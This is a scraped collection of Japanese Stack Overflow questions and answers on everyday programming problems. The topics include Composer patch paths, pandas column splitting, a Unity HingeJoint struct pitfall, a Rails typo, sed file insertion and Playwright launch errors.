'/home/my_name/my_project/vendor/composer/tmp-7ca65e1c011ddf0b2205cb6db25fb1ba' -d '/home/my_name/my_project/vendor/composer/4b699ac1'\n Executing async command (CWD): rm -rf '/home/my_name/my_project/vendor/composer/4b699ac1'\n > post-package-install: cweagans\\Composer\\Patches->postInstall\n - Applying patches for inertiajs/inertia-laravel\n patches_composer/inertia-laravel-response.patch (twice url)\n patch '-p1' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n Executing command (CWD): patch '-p1' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n can't find file to patch at input line 3\n Perhaps you used the wrong -p or --strip option?\n The text leading up to this was:\n --------------------------\n |--- vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:43:20.246192609 +0900\n |+++ vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:41:02.059394179 +0900\n --------------------------\n File to patch:\n Skip this patch? [y]\n Skipping patch.\n \n 1 out of 1 hunk ignored\n \n patch '-p0' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n Executing command (CWD): patch '-p0' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n can't find file to patch at input line 3\n Perhaps you used the wrong -p or --strip option?\n The text leading up to this was:\n --------------------------\n |--- vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:43:20.246192609 +0900\n |+++ vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:41:02.059394179 +0900\n --------------------------\n File to patch:\n Skip this patch? [y]\n Skipping patch.\n \n 1 out of 1 hunk ignored\n \n patch '-p2' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n Executing command (CWD): patch '-p2' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n can't find file to patch at input line 3\n Perhaps you used the wrong -p or --strip option?\n The text leading up to this was:\n --------------------------\n |--- vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:43:20.246192609 +0900\n |+++ vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:41:02.059394179 +0900\n --------------------------\n File to patch:\n Skip this patch? [y]\n Skipping patch.\n \n 1 out of 1 hunk ignored\n \n patch '-p4' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n Executing command (CWD): patch '-p4' --no-backup-if-mismatch -d '/home/my_name/my_project/vendor/inertiajs/inertia-laravel' < '/home/my_name/my_project/patches_composer/inertia-laravel-response.patch'\n can't find file to patch at input line 3\n Perhaps you used the wrong -p or --strip option?\n The text leading up to this was:\n --------------------------\n |--- vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:43:20.246192609 +0900\n |+++ vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:41:02.059394179 +0900\n --------------------------\n File to patch:\n Skip this patch? [y]\n Skipping patch.\n \n 1 out of 1 hunk ignored\n \n Could not apply patch! Skipping. The error was: Cannot apply patch patches_composer/inertia-laravel-response.patch\n \n```\n\n上記の動作を見ると、`inertiajs/inertia-laravel/` がアップデートされて、その後にパッチを当てているように見えます。\n\n`can't find file to patch at input line 3`\nについては[無視しても良い](https://maxcluster.de/en/knowledge-\nbase/managedcenter/fasteristableexists)ようです。",
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"title": "phpのパッチ処理 cweagans/composer-patches で エラー スキップしてしまう",
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"body": "解決しました。 \n対象ファイルの部分を `composer.json` の指定された `inertiajs/inertia-laravel`\nからの相対位置にすると上手くいきました\n\n```\n\n --- src/Response.php 2023-05-26 02:25:36.821932134 +0900\n +++ src/Response.php 2023-05-26 02:25:47.802044249 +0900\n \n```",
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"body": "初めまして\n\nプログラミングを学んでいる者です。 \nどうやって実現すればいいかわからないので先輩方の力を借りたいです。\n\n実現したいこと \n各項目 A,B,C があって \nAが追加されたら数値入力の単位を0.1ずつ増減できる \nBが追加されたら数値入力の単位を0.5ずつ増減できる \nCが追加されたら数値入力の単位を1.0ずつ増減できる \nというのを実現したいです。\n\nHTML,Javascript,Jquery,Javaなどで実装できる方法がありましたらご教授ください。\n\nよろしくお願いいたします。",
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"body": "Q1.WebAPIで取得したデータを自分のデータベースへ格納して、次回からそこへアクセスしてデータを取得してもよいですか? \n・この辺りのルールは、APIごとに異なるのですか? \n・この辺りのルールを探す際は、どういうキーワードで探せばよいですか?\n\nQ2.例えば、[国立国会図書館サーチAPI](https://iss.ndl.go.jp/information/api/)の場合は、どうですか? \n・自分のデータベースへ格納して、次回からそこへアクセスしてデータを取得してもよい \n・毎回、APIへアクセスしてデータ取得が必要 \n・上記以外",
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"body": "WebAPI を使うこと(=アクセスすること、スクレイピングすること)と \nWebAPI が返してきた結果(=単なる HTML であろう)を使うこととは \n全く別物なので厳に区別してください。\n\n前者つまり WebAPI 自体の利用規約やライセンスは WebAPI の提供元が決めるものなので stackoverflow\nで第三者に訊いても無意味です。当該事業者に直接訊いてください。\n\n後者つまり得られた結果は著作権法的にいう「私的利用」の範囲であればいくらでも再利用してください。その時の便宜のために一時的に「保存」することは WebUA\nが普通に行っていますし私的利用のための複製(30条)に該当するわけで問題ないです。\n\n後者の利用が、私的利用の範囲を超える場合には著作権的配慮が必要です。許諾をもらうとか(有料かもしれないです)一定形式を守ればよい [Creative\nCommons](https://creativecommons.jp/licenses/)\nとか、その辺は元ネタのライセンス次第。リンク先、国会図書館サーチAPIの解説のリンク先にもこの辺のライセンスの話が書いてあります。\n\n後者 [取得結果の著作権的配慮] とは別に、営利目的であれば前者 WebAPI 自体の利用申請・許可が必要な場合があります。国立図書館 API\nにはそう書かれています。\n\nまあ「過去に保存した結果」は最新でないわけで、常に最新が欲しければ毎回アクセスが必要そうです。オイラのこの回答を読むには stackoverflow\nに再度アクセスしないといけないのと同じこと。\n\n以上は法曹でない一般人の個人的意見にすぎません。私的利用の範囲の定義、あるいは私的利用を超える場合の扱いについて疑義があるなら専門家と相談してください。",
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"body": "vue.jsでwebアプリの開発を行っています。 \nfirebase-hostingにアップロードするため、npm run generate を実行しました。 \ndistフォルダにhtmlファイルが生成されるのですが、一部分だけがhtmlに反映されません。 \n具体的には`v-stepper-content`のstep1,step2は変更されますが、step3,step4が変更されません。 \n`npm run dev`を実行し、local環境では問題なく表示されます。\n\n_画像の説明_ \n27行目辺り→ **野菜の名前** という日本語が表示されている \n31~34が本来step3の内容が表示されるはず。 **単位▽** や _円_ といった情報が表示されるはず…?\n\n`npm run generate`した際の出力先は **nuxt.config.js** で **dist** フォルダに指定しています。\n\n```\n\n <v-stepper-content step=\"2\" class=\"pa-3\">\n <v-card>\n <v-row\n v-for=\"item in newvegenamelist\"\n :key=\"item.id\">\n <v-col cols=\"12\">\n <v-text-field\n v-model=\"item.name\"\n label=\"野菜の名前\"></v-text-field>\n </v-col>\n </v-row>\n <v-row>\n <v-col cols=\"6\"></v-col>\n <v-col cols=\"3\" class=\"pr-1\">\n <v-btn\n @click=\"addInput\"\n width=\"100%\"\n color=\"grey\">\n <v-icon dark>\n mdi-plus\n </v-icon>\n </v-btn>\n </v-col>\n <v-col cols=\"3\" class=\"pl-1\">\n <v-btn\n @click=\"removeInput\"\n width=\"100%\"\n color=\"grey\">\n <v-icon dark>\n mdi-minus\n </v-icon>\n </v-btn>\n </v-col>\n </v-row>\n \n 略\n </v-card>\n </v-stepper-content>\n \n <v-stepper-content step=\"3\" class=\"pa-3\">\n <div class=\"item-list\">\n <v-card\n v-for=\"(item, index) in mergeList\"\n :key=\"item\"\n outlined\n color=\"grey lighten-3\"\n style=\"margin-bottom: 2vh;\">\n <v-row>\n <v-col cols=\"12\" class=\"center\" style=\"padding-bottom: 0; margin-top: 1vh;\">{{ item }}</v-col>\n </v-row>\n <v-row>\n <v-col cols=\"4\" class=\"pr-0\">\n <input\n @change=\"inputunitplice(index)\"\n type=\"text\"\n placeholder=\"単価\"\n inputmode=\"numeric\"\n pattern=\"^[1-9][0-9]*$\"\n class=\"center\"\n style=\"width: inherit;\">\n </v-col>\n <v-col cols=\"2\" class=\"pl-0\" style=\"text-align: center;\">\n <select @change=\"inputunit(index)\">\n <option disabled selected value=\"default\">単位∇</option>\n <option\n v-for=\"item in unitItems\"\n :value=\"item\"\n :key=\"item\"\n class=\"center\"\n >{{ item }}\n </option>\n </select>\n </v-col>\n <v-col cols=\"4\" class=\"pr-0\">\n <input\n @change=\"inputplice(index)\"\n type=\"text\"\n placeholder=\"金額\"\n inputmode=\"numeric\"\n pattern=\"^[1-9][0-9]*$\"\n class=\"center\"\n style=\"width: inherit;\">\n </v-col>\n <v-col cols=\"2\" class=\"pl-0\">\n <p style=\"margin-bottom: 0;\">円</p>\n </v-col>\n </v-row>\n </v-card>\n </div> \n \n </v-stepper-content>\n \n```\n\n[![\n\n27行目辺り→野菜の名前という日本語が表示されている\n\n31~34が本来step3の内容が表示されるはず。単位▽や円といった情報が表示されるはず…?\n\n](https://i.stack.imgur.com/gCir3.png)](https://i.stack.imgur.com/gCir3.png)",
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"body": "通常、C#等でOpencvとかでUSBカメラを開くとそのUSBカメラのデバイスは占有されるため、他のアプリで開くことはできないと承知しています。 \nですが、ひとつのUSBカメラから流れてくる画像をC#(WPF)とC++(コンソール)のそれぞれで受け取りたい事情があり、どうすることが最も良いのでしょうか。 \n現在、C++はOpencvでC#はOpencvSharpで受け取っており問題はありません。 \n良いアイディアをお持ちであればご教示いただけますでしょうか。 \nよろしくお願いいたします。",
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"body": "複数の座標から線分の組合せパターンを抽出した後、各線分と一つ一つの座標との組み合わせを一つの行にまとめたデータセットを作成したいです。 \n(その後、行ごとに線分と座標の関係を計算することが目的です)\n\n例えば3つの座標の場合、重複をまったく考慮せずにすべての組合わせを考える場合、 \n線分の組合わせは3*3、これに対してそれぞれの線分に各座標との組み合わせ*3の、 \n3*3*3の27パターンができるかと存じます。\n\n各パターンを一つの行に並べ、行ごとにひとつひとつの数値を使って線分と座標の関係を色々と計算したいです。\n\n【こうしたいです】\n\n```\n\n Ax Ay Bx By Cx Cy\n 0 [1] [1] [1] [1] [1] [1] ←行毎に別途計算を行うことが目的です\n 1 [1] [1] [1] [1] [2] [2]\n 2 [1] [1] [1] [1] [3] [3]\n 3 [1] [1] [2] [2] [1] [1]\n 4 [1] [1] [2] [2] [2] [2]\n 5 [1] [1] [2] [2] [3] [3]\n 6 [1] [1] [3] [3] [1] [1]\n 7 [1] [1] [3] [3] [2] [2]\n 8 [1] [1] [3] [3] [3] [3]\n 9 [2] [2] [1] [1] [1] [1]\n 10 [2] [2] [1] [1] [2] [2]\n 11 [2] [2] [1] [1] [3] [3]\n 12 [2] [2] [2] [2] [1] [1]\n 13 [2] [2] [2] [2] [2] [2]\n 14 [2] [2] [2] [2] [3] [3]\n 15 [2] [2] [3] [3] [1] [1]\n 16 [2] [2] [3] [3] [2] [2]\n 17 [2] [2] [3] [3] [3] [3]\n 18 [3] [3] [1] [1] [1] [1]\n 19 [3] [3] [1] [1] [2] [2]\n 20 [3] [3] [1] [1] [3] [3]\n 21 [3] [3] [2] [2] [1] [1]\n 22 [3] [3] [2] [2] [2] [2]\n 23 [3] [3] [2] [2] [3] [3]\n 24 [3] [3] [3] [3] [1] [1]\n 25 [3] [3] [3] [3] [2] [2]\n 26 [3] [3] [3] [3] [3] [3]\n \n```\n\nしかしながら、できたデータセットはひとつの枠の中に座標([x座標,y座標])が入る形になっていて、分割しようと試みましたが、解決方法を見つけることができませんでした。 \n(「[一つのカラムの中にリストでデータが入っている場合、リストの各要素を分割して新たに列を増やし、各要素をダミー変数化方法はありますか?](https://ja.stackoverflow.com/questions/80570/%E4%B8%80%E3%81%A4%E3%81%AE%E3%82%AB%E3%83%A9%E3%83%A0%E3%81%AE%E4%B8%AD%E3%81%AB%E3%83%AA%E3%82%B9%E3%83%88%E3%81%A7%E3%83%87%E3%83%BC%E3%82%BF%E3%81%8C%E5%85%A5%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E5%A0%B4%E5%90%88-%E3%83%AA%E3%82%B9%E3%83%88%E3%81%AE%E5%90%84%E8%A6%81%E7%B4%A0%E3%82%92%E5%88%86%E5%89%B2%E3%81%97%E3%81%A6%E6%96%B0%E3%81%9F%E3%81%AB%E5%88%97%E3%82%92%E5%A2%97%E3%82%84%E3%81%97-%E5%90%84%E8%A6%81%E7%B4%A0%E3%82%92%E3%83%80%E3%83%9F%E3%83%BC%E5%A4%89%E6%95%B0%E5%8C%96%E6%96%B9%E6%B3%95%E3%81%AF%E3%81%82%E3%82%8A%E3%81%BE%E3%81%99%E3%81%8B?newreg=e83a98fb50eb461cb07c36573a05f0c4)」は一読したものの、原因がわからないでいます)\n\n分割方法(または組み合わせ方や、行毎に計算するなら他の方法があるなど)を何卒ご教示をいただけましたら幸いです。\n\n【こうなってしまいました】\n\n```\n\n A B C\n 0 [1, 1] [1, 1] [1, 1]\n 1 [1, 1] [1, 1] [2, 2]\n 2 [1, 1] [1, 1] [3, 3]\n 3 [1, 1] [2, 2] [1, 1]\n 4 [1, 1] [2, 2] [2, 2]\n 5 [1, 1] [2, 2] [3, 3]\n 6 [1, 1] [3, 3] [1, 1]\n 7 [1, 1] [3, 3] [2, 2]\n 8 [1, 1] [3, 3] [3, 3]\n 9 [2, 2] [1, 1] [1, 1]\n 10 [2, 2] [1, 1] [2, 2]\n 11 [2, 2] [1, 1] [3, 3]\n 12 [2, 2] [2, 2] [1, 1]\n 13 [2, 2] [2, 2] [2, 2]\n 14 [2, 2] [2, 2] [3, 3]\n 15 [2, 2] [3, 3] [1, 1]\n 16 [2, 2] [3, 3] [2, 2]\n 17 [2, 2] [3, 3] [3, 3]\n 18 [3, 3] [1, 1] [1, 1]\n 19 [3, 3] [1, 1] [2, 2]\n 20 [3, 3] [1, 1] [3, 3]\n 21 [3, 3] [2, 2] [1, 1]\n 22 [3, 3] [2, 2] [2, 2]\n 23 [3, 3] [2, 2] [3, 3]\n 24 [3, 3] [3, 3] [1, 1]\n 25 [3, 3] [3, 3] [2, 2]\n 26 [3, 3] [3, 3] [3, 3]\n \n```\n\n失敗したコードは下記です。\n\n```\n\n # ひとつの線分とあるひとつ座標のすべての組合せの行列を作成する\n # 座標サンプル3点\n c1=[1,1] \n c2=[2,2]\n c3=[3,3]\n \n # 線分と座標のすべての組合せを作成\n xy=[c1, c2, c3]\n print(xy) \n linedotcomb = [xy, xy, xy]\n print(linedotcomb)\n from itertools import product\n import pandas as pd\n df = pd.DataFrame(product(*linedotcomb), columns=list(\"ABC\"))\n print(df)\n \n \n # 分割しようと試みて失敗\n for column_name in df:\n print(column_name)\n s = df[\"A\"]\n s.astype(str).str.replace(r'{|}|\"', \"\", regex=True).str.get_dummies(',')\n print(s)\n \n```",
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"title": "pandas DataFrameで座標が入れ子になっているデータセットの分割",
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"body": "```\n\n from itertools import product, chain\n import pandas as pd\n \n c1 = [1, 1] \n c2 = [2, 2]\n c3 = [3, 3]\n \n # 線分と座標のすべての組合せを作成\n xy = [c1, c2, c3]\n linedotcomb = [xy, xy, xy]\n data = [[[i] for i in chain.from_iterable(l)] for l in product(*linedotcomb)]\n columns = map(''.join, product('ABC', 'xy'))\n \n df = pd.DataFrame(data=data, columns=columns)\n print(df)\n \n # Ax Ay Bx By Cx Cy\n # 0 [1] [1] [1] [1] [1] [1]\n # 1 [1] [1] [1] [1] [2] [2]\n # 2 [1] [1] [1] [1] [3] [3]\n # 3 [1] [1] [2] [2] [1] [1]\n # 4 [1] [1] [2] [2] [2] [2]\n # 5 [1] [1] [2] [2] [3] [3]\n \n :\n \n # 22 [3] [3] [2] [2] [2] [2]\n # 23 [3] [3] [2] [2] [3] [3]\n # 24 [3] [3] [3] [3] [1] [1]\n # 25 [3] [3] [3] [3] [2] [2]\n # 26 [3] [3] [3] [3] [3] [3]\n \n```",
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"body": "Macでシリアルポートからデータを取り込もうと考えています。\n\nテストデバイスからの出力を\n\n```\n\n screen /dev/cu.usbserial-AI055VOD 1200\n \n```\n\nで取り込むと\n\n```\n\n Hello, world!\n Hello, world!\n (以下繰り返し)\n \n```\n\nと正しく出力されるのですが、catやC言語のopenで取り込むと途中から'?'(0x00)が出力されます。\n\n```\n\n $sudo stty -f /dev/cu.usbserial-AI055VOD cs8 -parenb -cstopb 1200\n $ cat /dev/cu.usbserial-AI055VOD \n Hello, world!\n Hello, world!\n Hello, world!\n Hello, world!\n He????????????????????(以下繰り返し)\n \n```\n\nscreenでは正しく表示されるということは、sttyに何か追加の設定が必要なのでしょうか? \n最終的にはc言語で\n\n```\n\n open(SERIAL_PORT, O_RDWR | O_NOCTTY | O_NONBLOCK)\n \n```\n\nで使いたいのですが、こちらでやっても途中から0x00が出力ていて困っております。",
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"title": "Macでcatで出力されたシリアルポートの出力が途中で変わる",
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"body": "Unityのhinge jointをスクリプトから操作しようとしたところ、targetVelocityの値が変わらず、全く動きません。 \nuseMotorのチェックは入っていますし、エラーも出ていません。 \nインスペクターで直接値をいじると動きます。\n\nバージョンは2022.1.23f1と2021.3.22f1で試しました。\n\n```\n\n using System.Collections;\n using System.Collections.Generic;\n using UnityEngine;\n \n public class motor : MonoBehaviour\n \n public HingeJoint Joint;\n \n void Update()\n {\n var Motor = Joint.motor;\n Motor.targetVelocity= 360;\n }\n \n```",
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"title": "hinge jointをスクリプトから操作したい",
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"body": "ちょっと厄介な話なのですが…。\n\nまずは、`HingeJoint.moter` の型である [`JointMotor`\nのマニュアル](https://docs.unity3d.com/ja/2022.2/ScriptReference/JointMotor.html)を見てください。 \n「struct in UnityEngine」と書かれています。 \nつまり、`JointMotor` は構造体(struct)なんです。\n\nC#の構造体の説明は、自分もあまり説明ができないので、以下を見てもらいたいです。\n\n * [構造体 - C# によるプログラミング入門 | ++C++; // 未確認飛行 C](https://ufcpp.net/study/csharp/resource/rm_struct/)\n * [値型と参照型 - C# によるプログラミング入門 | ++C++; // 未確認飛行 C](https://ufcpp.net/study/csharp/oo_reference.html)\n\n(他にも、検索して調べてみてください。結構大事な話です)\n\n構造体は値型であり、クラスとは違います。 \n例えば、以下の例。\n\n```\n\n class Hoge {\n public int a;\n }\n \n Hoge hoge0 = new Hoge();\n hoge0.a = 1;\n Hoge hoge1 = hoge0;\n hoge1.a = 2;\n Debug.Log($\"hoge0.a = {hoge0.a}, hoge1.a = {hoge1.a}.\");\n \n```\n\n通常クラスの代入は、同じオブジェクトを指すことになるので、ログには「hoge0.a = 2, hoge1.a = 2.」と出力されます。\n\n```\n\n struct Hoge {\n public int a;\n }\n \n Hoge hoge0 = new Hoge();\n hoge0.a = 1;\n Hoge hoge1 = hoge0;\n hoge1.a = 2;\n Debug.Log($\"hoge0.a = {hoge0.a}, hoge1.a = {hoge1.a}.\");\n \n```\n\nというように構造体にした場合、構造体の代入は新たなオブジェクトの作成と、各メンバの代入となります。 \nつまり、以下のような感じです。\n\n```\n\n Hoge hoge0 = new Hoge();\n hoge0.a = 1;\n Hoge hoge1 = new Hoge();\n hoge1.a = hoge0.a;\n hoge1.a = 2;\n Debug.Log($\"hoge0.a = {hoge0.a}, hoge1.a = {hoge1.a}.\");\n \n```\n\nですので、代入先の`hoge1`のメンバに変更を加えても、代入元の`hoge0`には変更が加わらないことになります。 \nよって、ログには「hoge0.a = 1, hoge1.a = 2.」と出力されます。\n\nどうすればいいかは、[`JointMotor`のマニュアル](https://docs.unity3d.com/ja/2022.2/ScriptReference/JointMotor.html)のサンプルコードのように、代入して値を変更した後、再度`HingeJoint.motor`に再代入すればいいでしょう。\n\n```\n\n JointMotor motor = Joint.motor;\n motor.targetVelocity = 360;\n Joint.motor = motor; // 再代入\n \n```",
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"body": "relationshipフォロー、フォロワー機能を記述してrails s しようとしたらサーバーが立ち上がらなくなりました。\nどこかの引数が間違っているみたいなのですがどこを直して良いかわかりません。\n\n```\n\n rails s\n => Booting Puma\n => Rails 6.1.7 application starting in development \n => Run `bin/rails server --help` for more startup options\n Exiting\n /home/ec2-user/.rvm/gems/ruby-3.1.2/gems/activesupport-6.1.7/lib/active_support/core_ext/hash/keys.rb:52:in `block in assert_valid_keys': Unknown key: :souce. Valid keys are: :class_name, :anonymous_class, :primary_key, :foreign_key, :dependent, :validate, :inverse_of, :strict_loading, :autosave, :before_add, :after_add, :before_remove, :after_remove, :extend, :counter_cache, :join_table, :index_errors, :ensuring_owner_was, :through, :source, :source_type (ArgumentError)\n \n```\n\n以下、該当していそうなコードです。初学者なので見づらい部分があると思いますが \nよろしくお願いします。\n\nrelationships.controller\n\n```\n\n class RelationshipsController < ApplicationController\n \n def create\n @user = User.find(params[:user_id])\n current_user.follow(params[:user_id])\n redirect_to request.referer\n end\n \n def destroy\n current_user.unfollow(params[:user_id])\n redirect_to request.referer\n end\n \n \n def followings\n user = User.find(params[:user_id])\n @users = user.followings\n end\n \n def followers\n user = User.find(params[:user_id])\n @users = user.followers\n end\n end\n \n```\n\nrelationship.rb\n\n```\n\n class Relationship < ApplicationRecord\n belongs_to :follower, class_name: \"User\"\n belongs_to :followed, class_name: \"User\"\n end\n \n```\n\nuser.rb\n\n```\n\n has_many :relationships, class_name: \"Relationship\", foreign_key: \n \"follower_id\", dependent: :destroy\n has_many :reverse_of_relationships, class_name: \"Relationship\", \n foreign_key: \"followed_id\", dependent: :destroy\n has_many :followings, through: :relationships, souce: :followed\n has_many:followers,through::reverse_of_relationships,souce::follower\n \n def follow(user_id)\n relationships.create(followed_id: user_id)\n end\n \n def unfollow(user_id)\n relationships.find_by(followed_id: user_id).destroy\n end\n \n def following?(user)\n followings.include?(user)\n end\n end\n \n```\n\nroutes.rb\n\n```\n\n resources :users do\n resource :relationships, only: [:create, :destroy]\n get 'folloeings' => 'relationships#followings', as: 'followings'\n get 'followers' => 'relationships#followers' , as: 'followers'\n end\n \n```\n\nmigration file\n\n```\n\n class CreateRelationships < ActiveRecord::Migration[6.1]\n def change\n create_table :relationships do |t|\n t.integer :follower_id\n t.integer :followed_id\n t.timestamps\n end\n end\n end\n \n```",
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"title": "フォロー機能を実装しようとしたらrails sできない",
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"body": "まずはエラーメッセージをよく読んでください。`Unknown key: :souce.`と書かれていますね。その後の`Valid keys are:\n...`に妥当なキーの一覧がありますが、`:souce`はありません。なので、そんなキーは知らないと言うことでエラーになったと言うことです。妥当なキーには`:source`があるので、スペルミスだと思われます。\n\nということで、ソースコード全体から`souce`と書いているところを検索してください。質問に上げたコードには含まれてないようです。ここで注意が一つですが、`:souce`ではなく`souce`と`:`無しで検索してください。文字列やメソッド名になっている事もあるからです。見つけたら`source`と修正してみてください。これでたぶん、なおると思います。\n\n* * *\n\nエラーには何が間違っているかのヒントが書いています。まずは意味を理解して(英語を読んで)、ヒントになりそうな名称(メッソド名とか、クラスメイトか、シンボルとか)を検索するなど、だいたい解決できるものです。",
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"body": "現在、Reactベースのアプリ開発をしています。 \n多くの入門書やページでは、子コンポーネントから親コンポーネントのstateを変更する際、以下のように値をセットするだけの関数を別に定義しているものが大抵なのですが、set関数自体を渡すことになにか問題があるのでしょうか?\n\n```\n\n const ComponentA = () => {\n const [value, setValue] = useState<string>();\n \n handleValue = (value: string) => {\n setValue(value);\n }\n \n return(\n <ComponentB handleValue={handleValue} />\n );\n }\n \n const ComponentB = (props: {handleValue: (value: string} => void}) => {\n // 略\n }\n \n```",
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"body": "通知機能の作成を目指しているのですが、データの代入がおかしいと感じたので、下記の通知テーブルの中身を見て頂きたいのですが[![画像の説明をここに入力](https://i.stack.imgur.com/Fs0L7.png)](https://i.stack.imgur.com/Fs0L7.png)\n\nテスト環境でuser_id1の人がuser_id2の人に作成した掲載を提案機能から提案を行い、2の人に1の人から提案を受けている旨の通知を行うテストを行っていました。 \nvisited_id 通知を受け取るユーザーのIDが通知を送る側と同じユーザーIDである事。 \nそして提案のIDがsuggest_idに代入されていません。\n\nそこから \n恐らくvisitor_id:user_id1 \nvisited_id:今回作成した掲載(plan_id) \nplan_id:掲載(こちらはきちんと代入されている模様) \nsuggest_id:null(恐らく代入で来ていない)\n\nこのような状態になっているのかなと推察したのですが、ご意見を頂きたいです。\n\nその為に関連するコードも載せさせていただきます。 \n通知機能関連 \nsuggest_controller.rb\n\n```\n\n def create\n @suggest = current_user.suggests.build(suggest_params)\n if @suggest.save\n flash[:success] = '提案を送りました'\n # 以下通知機能の箇所\n @plan=Plan.find(@suggest.to_id)\n @plan.create_notification_suggest!(current_user)\n # 以上通知機能の箇所\n redirect_to root_url\n else\n @suggests = current_user.suggests.order(id: :desc)\n flash[:danger] = '提案を送れませんでした'\n redirect_to request.referer\n end\n end\n \n```\n\nplan.rb\n\n```\n\n def create_notification_suggest!(current_user)\n # すでに提案されているか検索\n temp = Notification.where([\"visitor_id = ? and visited_id = ? and plan_id = ? and action = ? \", current_user.id, user_id, id, 'suggest'])\n # いいねされていない場合のみ、通知レコードを作成\n if temp.blank?\n notification = current_user.active_notifications.new(\n plan_id: id,\n visited_id: user_id,\n action: 'suggest'\n )\n notification.save if notification.valid?\n end\n end\n \n```\n\nnotifications_helperrb\n\n```\n\n module NotificationsHelper\n def notification_form(notification)\n #通知を送ってきたユーザーを取得\n @visitor = notification.visitor\n #コメントの内容を通知に表示する\n @suggest = nil\n @visitor_suggest = notification.suggest_id\n case notification.action\n when 'suggest' then\n #コメントの内容と投稿のタイトルを取得 \n @suggest = Suggest.find_by(id: @visitor_suggest)\n @suggest_message [email protected]\n @suggest_title [email protected]\n tag.a(@visitor.name, href: user_path(@visitor)) + 'が' + tag.a(\"#{@suggest_title}\", href: plan_path(notification.plan_id)) + 'を提案しました'\n end\n end\n end\n \n```\n\nバージョン \nRuby on Rails6\n\n参考サイト \n<https://qiita.com/bty__/items/2db1dd4fcd7945b980f7>",
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"title": "通知機能のデータの代入",
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"body": "suggestはplanと関連付けさせていないので、suggestコントローラでsuggestを特定してsuggestモデルで通知に入れる情報を代入していく。",
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"body": "現在、JavaScriptでPlaywrightライブラリを用いて、以下のコードでブラウザを起動してE2Eテストを実行しようとしております。\n\n```\n\n import { chromium } from \"playwright\";\n const launchOptions = {\n \"headless\":false,\n \"channel\":\"chrome\",\n \"args\": [\n \"--no-sandbox\",\n \"--no-zygote\"]\n };\n \n chromium.launch(launchOptions).then(async browser => {\n const page = await browser.newPage();\n await page.goto(\"https://google.com\");\n await browser.close();\n })\n \n```\n\nこれを実行してみた所、以下のエラーが発生しました。\n\n```\n\n node:internal/process/promises:279\n triggerUncaughtException(err, true /* fromPromise */);\n ^\n \n browserType.launch: Browser closed.\n \n```\n\nサンプルコードを実行してみたのですが、何かしらWindowsで用いる場合追加で設定が必要かどうか、ご存知の方居ましたらご教示頂けないでしょうか?",
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"title": "Windows 10でPlaywrightライブラリを使ってブラウザを開こうとすると、triggerUncahughtExceptionが生じてすぐに閉じてしまう。",
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"body": "### 実現したいこと\n\nシェルスクリプトである特定の文字列マッチした次の行以降に別ファイルの内容を挿入したいです。\n\nイメージとして、以下のようなファイルがあるとします。\n\nsrcFile\n\n```\n\n 1. abc\n 2. def\n 3. ghi\n \n```\n\nParamFile\n\n```\n\n 1. 123\n 2. 456\n 3. 789\n \n```\n\nsrcFileは上書きでよいので、コマンド実行後のsrcFileは以下になるイメージです。\n\nsrcFile (コマンド実行後)\n\n```\n\n 1. abc\n 2. def\n 3. 123\n 4. 456\n 5. 789\n 6. ghi\n \n```\n\n### やったこと\n\nsedを利用して、以下のコマンドを実行しましたが失敗します。\n\n```\n\n a=`cat paramFile`\n sed -i -e \"/^def$/a ${a}\" srcFile\n \n```\n\n * sedの中で置き換え後の文字列をファイルで渡す方法\n * sedの中で置き換え後の改行を含む文字列の指定方法\n\nどちらかが解れば解消すると思います。どなたか助言をいただけないでしょうか。よろしくお願いします。",
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"title": "sedコマンドで置き換え文字列をファイルから取ることは可能ですか?",
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"body": "ファイル名指定し追加する方法はコメントに付いてるので \nこの回答は `a` コマンドで追加する方法です\n\n本来は `'\\n'` を指定することで改行文字を表します\n\n```\n\n $ echo -e \"abc\\ndef\\nghi\" >srcFile\n $ sed '/^def$/a 123\\n456\\n789' srcFile\n abc\n def\n 123\n 456\n 789\n hgi\n \n```\n\nファイルから変数に読み込む際に (`'\\n'` ではなく)改行コードになるため, sedでは対処できなくなる\n\n```\n\n $ echo -en \"123\\n456\\n789\" >ParamFile\n $ echo \"$(cat ParamFile)\"\n 123\n 456\n 789\n \n```\n\n以下のように変換すれば sedで対処可能 \n(※ `-z` オプションは gnu版 sed のようです: `sed --version` で確認可能)\n\n```\n\n $ v=$(sed -z 's/\\n/\\\\n/g' ParamFile.txt)\n $ echo $v\n 123\\n456\\n789\n $ sed \"/^def$/a${v}\" srcFile\n abc\n def\n 123\n 456\n 789\n hgi\n \n```",
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"body": "```\n\n Private Sub Workbook_Open()\n \n Dim i\n For i = 1 To Worksheets.Count\n ActiveSheet.Hyperlinks.Add Anchor:=Range(\"M\" & i), _\n Address:=\"\", _\n SubAddress:=Worksheets(i).Name & \"!A1\", _\n TextToDisplay:=Worksheets(i).Name\n Next\n \n End Sub\n \n```\n\nExcelのマクロ\n\n![](https://i.stack.imgur.com/5Y6RG.png)",
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"title": "Excelのマクロを使っているのですがmenuの中のセルをクリックしてもエクセルのタブがひらけません",
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{
